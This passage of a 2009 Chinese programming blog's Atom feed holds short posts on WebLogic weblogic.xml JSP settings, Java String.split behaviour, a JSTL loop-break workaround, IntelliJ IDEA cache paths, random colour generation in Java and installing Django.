/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;compilerSupportsEncoding&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;true&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;encoding&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;GB2312&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;verbose&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;true&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;printNulls&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;false&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;keepgenerated&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-name&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;true&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;param-value&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-param&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;jsp-descriptor&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt; &lt;/span&gt;&lt;span style="color:#0000ff;"&gt;&amp;lt;/&lt;/span&gt; &lt;span style="color:#800000;"&gt;weblogic-web-app&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;br/&gt;&lt;img align="top" src="http://www.blogjava.net/Images/OutliningIndicators/None.gif" /&gt; &lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;p class="postfoot"&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5142583505569148187?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5142583505569148187/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/11/j2ee-for-weblogicweblogicxml.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5142583505569148187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5142583505569148187'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/11/j2ee-for-weblogicweblogicxml.html' title='J2EE For Weblogic开发中Weblogic.xml文件的配置 （转）'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4198554652394578838</id><published>2009-10-24T20:38:00.000+08:00</published><updated>2010-08-13T11:22:03.836+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>在VMware6.5安装Ubuntu9.04 vmware-tools</title><content type='html'>VMware6.5自带的vmware-tools不好使 &lt;br/&gt;需要VMwareTools-7.9.6-173382.tar.gz&lt;br/&gt;http://forum.ubuntu.org.cn/viewtopic.php?f=65&amp;amp;t=197597&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4198554652394578838?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4198554652394578838/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/10/vmware65ubuntu904-vmware-tools.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4198554652394578838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4198554652394578838'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/10/vmware65ubuntu904-vmware-tools.html' title='在VMware6.5安装Ubuntu9.04 vmware-tools'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-694386684346475274</id><published>2009-10-23T22:40:00.000+08:00</published><updated>2010-08-13T11:22:03.844+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>String split方法</title><content type='html'>&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;br/&gt;&lt;p&gt;String split方法 当在末尾含有空字符时尤其应注意&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  String a = &amp;quot;,,&amp;quot;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(a.split(&amp;quot;,&amp;quot;).length);//0&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(a.split(&amp;quot;,&amp;quot;,-1).length);//3&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  a = &amp;quot;,,1&amp;quot;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(a.split(&amp;quot;,&amp;quot;).length);//3&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(a.split(&amp;quot;,&amp;quot;,-1).length);//3&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  a = &amp;quot;1,,&amp;quot;;&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(a.split(&amp;quot;,&amp;quot;).length);//1&lt;br/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(a.split(&amp;quot;,&amp;quot;,-1).length);//3&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-694386684346475274?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/694386684346475274/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/10/string-split.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/694386684346475274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/694386684346475274'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/10/string-split.html' title='String split方法'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-8603817651221546432</id><published>2009-10-19T02:22:00.000+08:00</published><updated>2010-08-13T11:22:03.982+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>jstl 循环 break 变通方式</title><content type='html'>&lt;p&gt;如果直接使用&amp;lt;c:forEach&amp;gt; 直接在中间的代码中 插入break , 并不能退出循环。可以采用以下策略进行代换：&lt;br/&gt;1. 用 &amp;lt;c:set var=&amp;quot;collections&amp;quot; value=&amp;quot;${forEach中的items}&amp;quot;/&amp;gt;&lt;br/&gt;2. 用 jspContext.getAttribute(&amp;quot;collections&amp;quot;); 获得对应的集合&lt;br/&gt;3.最后就用最原始的for()。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;但还是觉得不爽&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-8603817651221546432?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/8603817651221546432/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/10/jstl-break.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8603817651221546432'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8603817651221546432'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/10/jstl-break.html' title='jstl 循环 break 变通方式'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4583707920870125384</id><published>2009-10-18T00:00:00.000+08:00</published><updated>2010-08-13T11:22:03.991+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>修改JetBrains idea缓存目录</title><content type='html'>&lt;p&gt;修改idea.properties&lt;/p&gt;&lt;br/&gt;&lt;p&gt;将${user.home}换成自己想到的目录&lt;/p&gt;&lt;br/&gt;&lt;p&gt;# path to IDEA config folder. Make sure you're using forward slashes&lt;br/&gt;idea.config.path=E:/Program Files/JetBrains/IdeaConfig/.IntelliJIdea90/config&lt;/p&gt;&lt;br/&gt;&lt;p&gt;# path to IDEA system folder. Make sure you're using forward slashes&lt;br/&gt;idea.system.path=E:/Program Files/JetBrains/IdeaConfig/.IntelliJIdea90/system&lt;/p&gt;&lt;br/&gt;&lt;p&gt;# path to user installed plugins folder. Make sure you're using forward slashes&lt;br/&gt;idea.plugins.path=E:/Program Files/JetBrains/IdeaConfig/.IntelliJIdea90/config/plugins&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4583707920870125384?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4583707920870125384/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/10/jetbrains-idea.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4583707920870125384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4583707920870125384'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/10/jetbrains-idea.html' title='修改JetBrains idea缓存目录'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-6617949631224385504</id><published>2009-10-14T02:11:00.000+08:00</published><updated>2010-08-13T11:22:04.000+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>java随机产生网页颜色</title><content type='html'>int randomNumber(){&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;  return (int)Math.floor(Math.random()*256);&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;}&lt;br/&gt;String decToHex(int dec)&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;{&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;  String hexStr = &amp;quot;0123456789ABCDEF&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;  int low = Math.abs(dec % 16);&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;  int high = Math.abs((dec - low)/16);&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;  String hex = &amp;quot;&amp;quot; + (hexStr.length()&amp;gt;high?hexStr.charAt(high):hexStr.charAt(0)) + (hexStr.length()&amp;gt;low?hexStr.charAt(low):hexStr.charAt(10));&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;  return hex;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;}&lt;br/&gt;String randomBgColor()&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;{&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;  String r,g,b;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;  r = decToHex(randomNumber()-1);&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;  g = decToHex(randomNumber()-1);&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;  b = decToHex(randomNumber()-1);&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;  return &amp;quot;#&amp;quot; + r + g + b;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br/&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-6617949631224385504?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/6617949631224385504/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/10/java.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6617949631224385504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6617949631224385504'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/10/java.html' title='java随机产生网页颜色'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-1632956952261196727</id><published>2009-09-22T01:31:00.000+08:00</published><updated>2010-08-13T11:22:04.009+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>用python开发站点</title><content type='html'>用python开发站点&lt;br/&gt;&lt;br/&gt;1. 安装Django，下载 tar 安装包，http://www.djangoproject.com/download/ &lt;br/&gt;其文件名可能会是 Django-xx.tar.gz 。&lt;br/&gt;&lt;br/&gt;2. tar xzvf Django-*.tar.gz 。&lt;br/&gt;&lt;br/&gt;3. cd Django-* 。&lt;br/&gt;&lt;br/&gt;4. sudo python setup.py install ,如果不是root需要su命令切换到root&lt;br/&gt;&lt;br/&gt;5. python&lt;br/&gt;&amp;gt;&amp;gt;&amp;gt;import django&lt;br/&gt;&amp;gt;&amp;gt;&amp;gt;django.VERSION&lt;br/&gt;出现版本信息 安装OK&lt;br/&gt;&lt;br/&gt;6. 将django-admin.py加入path路径&lt;br/&gt;sudo ln -s /path/to/django/bin/django-admin.py /usr/local/bin/django-admin.py&lt;br/&gt;&lt;br/&gt;7. 在当前目录建立一个站点&lt;br/&gt;django-admin.py startproject mysite&lt;br/&gt;&lt;br/&gt;8. 在mysite目录下发现&lt;br/&gt;__init__.py&lt;br/&gt;manage.py&lt;br/&gt;settings.py&lt;br/&gt;urls.py&lt;br/&gt;&lt;br/&gt;9. 启动&lt;br/&gt;python manage.py 